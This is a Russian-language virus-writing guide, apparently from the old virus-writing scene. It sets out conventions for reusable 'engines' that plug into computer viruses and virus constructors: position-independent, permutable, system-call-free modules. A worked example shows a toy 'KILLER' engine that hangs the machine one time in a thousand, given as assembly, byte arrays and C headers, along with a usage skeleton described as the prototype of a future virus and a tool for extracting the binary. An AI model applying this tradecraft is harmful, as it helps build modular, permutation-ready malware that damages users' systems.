# ОБЩИЕ РЕКОМЕНДАЦИИ ПО НАПИСАНИЮ ДВИЖКОВ

## версия 2.00

ДВИЖОК (engine) -- некоторый модуль используемый в вирусах. (представленный в бинарной форме и/или в сорцах любого языка)

### ВВЕДЕНИЕ

Этот текст был написан с единственно одной целью: обозначить признаки, которыми, на мой взгляд, должен обладать удобный движок.

Надо сказать, что подобное желание возникло уже после того, как я прочувствовал все плюсы использования готовых компонент для создания вирусов. Были созданы движки LDE32, KME32, ETG, CMIX, DSCRIPT, EXPO, RPME, CODEGEN, PRCG, MACHO и MISTFALL, обладающие почти всеми свойствами, описанными в этом тексте. Однако даже и тех небольших преимуществ от попытки эти движки стандартизировать было достаточно чтобы понять всю важность приведения движков к некоторому "стандартному" виду. Следует сразу заметить: подобная "стандартизация" влияет скорее на алгоритм и внешний вид, чем на код, и ни коим образом не может послужить упрощению работы антивирусов.

### КОД

- Движок должен содержать только исполняемый код. Таким образом движок не должен содержать никаких данных в явном виде. (достигается генерацией данных кодом)
- Движок не должен содержать никаких абсолютных смещений. Для этого можно создать некую структуру общих вирусных данных в стэке и передавать поинтер на эту структуру.
- Движок не должен непосредственно использовать никаких внешних данных и не должен непосредственно вызывать никаких внешних процедур. (достигается передачей движку указателей на данные/код)
- Движок не должен содержать никаких непосредственных системных вызовов. Хотите работать в движке с файлами? - пишите свои процедуры работы с файлами, так, как это удобнее в конкретном вирусе, передаете на них указатели и движок становится универсальным.

### PUBLIC-функции

- Параметры каждой функции должны передаваться только на стэке.
- Каждая функция должна сохранять и восстанавливать все регистры.
- При выходе из функции флаг DF должен быть сброшен в 0. (CLD)
- Результат (если он нужен) должен возвращаться в регистре EAX.

### ИСХОДНИКИ

- Если движок поставляется в исходниках, то переменные, аргументы, константы, внутренние процедуры и все прочие имена и метки должны быть уникальными, то есть такими, чтобы они не встретились в чьем-нибудь еще движке или в вашем же другом движке. (тут частично помогают локальные метки)
- Если при передаче данных между движком и вызывающим кодом используются данные, то все они должны быть описаны в отдельном .INC файле

### ДОКУМЕНТАЦИЯ

движку должна прилагаться документация, в которой будет указано:

- описание движка;
- описание PUBLIC-процедур и их параметров;
- описание замеченных глюков (т.е. фич);
- где движок тестировался, то есть когда он точно работает, когда не работает, а когда хз;

### ЖЕЛАТЕЛЬНО

- Чтобы в движке существовала одна (и только одна) PUBLIC-функция, которая бы шла В НАЧАЛЕ исполняемого кода (хотите в середине - вставьте в начало JMP), и чтобы написана она была в стиле cdecl (RET с последующим ADD ESP, xx) или pascal-функции (выход по RET nnnn).
- Чтобы алгоритм и код движка использовали в качестве данных только свой стэк и были написаны с учетом мультитреадности.
- Чтобы движок был написан инструкциями real 386, то есть чтобы отсутствовали привилегированные инструкции/регистры и все 486+ инструкции вообще.

### ЧТО В РЕЗУЛЬТАТЕ

С использованием всех вышеперечисленных ограничений и фич, получаем код движка: независимый ни от кольца защиты, ни от операционки, ни от смещения по которому он находится. Такой код легко подвергается пермутации. Код или исходники такого движка легко могут быть подключены к другим движкам, вирусам, генераторам вирусов или вирусным конструкторам.

Более того, решается просто глобальная задача связи asm- и cpp- кода, без использования obj-ей.

## ПРИМЕР ОФОРМЛЕНИЯ ДВИЖКА

Движок: KILLER. Задача: произвести зависание с вероятностью 1/1000.

Исходник:

    ----[begin KILLER.ASM]--------------------------------------------------
    engine                  proc    c
                            arg     user_param      ; user-data
                            arg     user_random     ; external randomer
                            arg     arg1
                            arg     arg2            ; other parameters
                            arg     arg3
                            pusha
                            cld
                            ;;
                            push    1000
                            push    user_param
                            call    user_random
                            add     esp, 8
                            ;;
                            cmp     eax, 666
                            je      $
                            ;;
                            popa
                            ret
                            endp
    ----[end KILLER.ASM]----------------------------------------------------

Полученный в результате инклюдник на ASM:

    ----[begin KILLER.INC]--------------------------------------------------
    ; KILLER 1.00 engine
    db 0C8h,000h,000h,000h,060h,0FCh,068h,0E8h
    db 003h,000h,000h,0FFh,075h,008h,0FFh,055h
    db 00Ch,083h,0C4h,008h,03Dh,09Ah,002h,000h
    db 000h,074h,0FEh,061h,0C9h,0C3h
    ----[end KILLER.INC]----------------------------------------------------

Тот же самый инклюдник на C/C++:

    ----[begin KILLER.CPP]--------------------------------------------------
    // KILLER 1.00 engine
    BYTE killer_bin[30] =
    {
      0xC8,0x00,0x00,0x00,0x60,0xFC,0x68,0xE8,
      0x03,0x00,0x00,0xFF,0x75,0x08,0xFF,0x55,
      0x0C,0x83,0xC4,0x08,0x3D,0x9A,0x02,0x00,
      0x00,0x74,0xFE,0x61,0xC9,0xC3
    };
    ----[end KILLER.CPP]----------------------------------------------------

Инклюдник/хеадер на ASM:

    ----[begin KILLER.ASH]--------------------------------------------------
    ; KILLER 1.00 engine
    KILLER_VERSION          equ     0100h
    ----[end KILLER.ASH]----------------------------------------------------

Инклюдник/хеадер на C/C++:

    ----[begin KILLER.HPP]--------------------------------------------------
    // KILLER 1.00 engine
    #ifndef __KILLER_HPP__
    #define __KILLER_HPP__

    #define KILLER_VERSION  0x0100

    typedef
    void __cdecl killer_engine(
                    DWORD   user_param,             // user-parameter
                    DWORD __cdecl user_random(DWORD user_param, DWORD range),
                    DWORD   arg1,
                    DWORD   arg2,
                    DWORD   arg3);

    #endif //__KILLER_HPP__
    ----[end KILLER.HPP]----------------------------------------------------

Пример вызова движка на ASM:

    ----[begin EXAMPLE.ASM]-------------------------------------------------
    ; KILLER 1.00 usage example
    include                 killer.ash

    callW                   macro   x
                            extern  x:PROC
                            call    x
                            endm

    v_data                  struc
    v_randseed              dd      ?
    ;                       ...
                            ends

                            p386
                            model   flat
                            locals  __

                            .data
                            dd      ?
                            .code

    start:                  call    virus_code
                            push    -1
                            callW   ExitProcess

    virus_code:             pusha
                            sub     esp, size v_data
                            mov     ebp, esp
                            ;;
                            callW   GetTickCount
                            xor     [ebp].v_randseed, eax  ; randomize
                            ;;
                            push    3
                            push    2               ; parameters
                            push    1
                            call    $+5+2           ; pointer to randomer
                            jmp     short my_random
                            push    ebp             ; user-param, v_data ptr
                            call    killer_engine
                            add     esp, 4*5
                            ;;
                            add     esp, size v_data
                            popa
                            retn

    ; DWORD __cdecl random(DWORD user_param, DWORD range)
    ;                       [esp+4]        [esp+8]
    my_random:              mov     ecx, [esp+4]   ; v_data ptr
                            mov     eax, [ecx].v_randseed
                            imul    eax, 214013
                            add     eax, 2531011
                            mov     [ecx].v_randseed, eax
                            shr     eax, 16
                            imul    eax, [esp+8]
                            shr     eax, 16
                            retn
    killer_engine:
    include                 killer.inc

    virus_size              equ     $-virus_code
                            end     start
    ----[end EXAMPLE.ASM]---------------------------------------------------

Пример использования на C/C++:

    ----[begin EXAMPLE.CPP]-------------------------------------------------
    #include <windows.h>
    #include "killer.hpp"
    #include "killer.cpp"
    DWORD randseed = GetTickCount();
    DWORD __cdecl my_random(DWORD user_param,DWORD range)
    {
      return range ? (randseed = randseed * 214013 + 2531011) % range : 0;
    }
    void main()
    {
      void* killer_ptr = &killer_bin;
      (*(killer_engine*)killer_ptr)  (0x12345678, my_random, 1,2,3);
    }
    ----[end EXAMPLE.CPP]---------------------------------------------------

Пример программки для компиляции исходника движка:

    ----[begin BUILD.ASM]---------------------------------------------------
                            p386
                            model   flat
                            locals  __
                            .data
                            db      0EBh,02h,0FFh,01h       ; signature
    include                 killer.asm
                            db      0EBh,02h,0FFh,02h       ; signature
                            .code
    start:                  push    -1
                            callW   ExitProcess
                            end     start
    ----[end BUILD.ASM]-----------------------------------------------------

Пример программки для выдирания бинарной (DB,DB,...) версии движка из скомпиленного EXE-файла:

    ----[begin HAXOR.CPP]---------------------------------------------------
    #include <stdio.h>
    #include <stdlib.h>
    #pragma hdrstop
    void main()
    {
      FILE*f=fopen("build.exe","rb");
      int bufsize = filelength(fileno(f));
      BYTE* buf = new BYTE[bufsize];
      fread(buf, 1,bufsize, f);
      fclose(f);
      int id1=0, id2=0;
      for (int i=0; i<bufsize; i++)
      {
        if (*(DWORD*)&buf[i] == 0x01FF02EB) id1=i+4;        // check signature
        if (*(DWORD*)&buf[i] == 0x02FF02EB) id2=i;          // check signature
      }
      f=fopen("killer.inc","wb");
      fprintf(f,"; KILLER 1.00 engine\r\n");
      for (int i=0; i<id2-id1; i++)
      {
        if ((i%8)==0) fprintf(f,"db ");
        fprintf(f,"0%02Xh", buf[id1+i]);
        if (((i%8)==7)||(i==id2-id1-1)) fprintf(f,"\r\n"); else fprintf(f,",");
      }
      fclose(f);
      f=fopen("killer.cpp","wb");
      fprintf(f,"// KILLER 1.00 engine\r\n");
      fprintf(f,"BYTE killer_bin[%i] = {\r\n",id2-id1);
      for (int i=0; i<id2-id1; i++)
      {
        if ((i%8)==0) fprintf(f,"  ");
        fprintf(f,"0x%02X", buf[id1+i]);
        if (i!=id2-id1-1) fprintf(f,",");
        if ((i%8)==7) fprintf(f,"\r\n");
      }
      fprintf(f," };\r\n");
      fclose(f);
    }
    ----[end HAXOR.CPP]-----------------------------------------------------

Обратим внимание на example.asm -- прообраз будущего вируса. В файле используется движок, движок использует внешннюю процедуру (рандомер), а рандомер использует randseed который создан в основном теле вируса и инициализирован перед вызовом движка. В результате не только этот движок, но и любой другой, да и сам вирус, смогут вызывать одну и ту же внешнюю процедуру (в данном случае рандомер, но это могли бы быть функции работы с файлами и другие движки). Очевидно, что call GetTickCount, произведенный перед вызовом движка, в настоящем вирусе будет произведен по соответствующему вычисленному кернеловскому адресу.

Заметим, что все это написано без использования оффсетов как таковых.

Итак, задача достигнута: движок компиляется отдельно, отлаживается так же отдельно, в example.cpp (имхо на cpp отлаживать алгоритмы быстрее и проще чем на asm), и используется в вирусах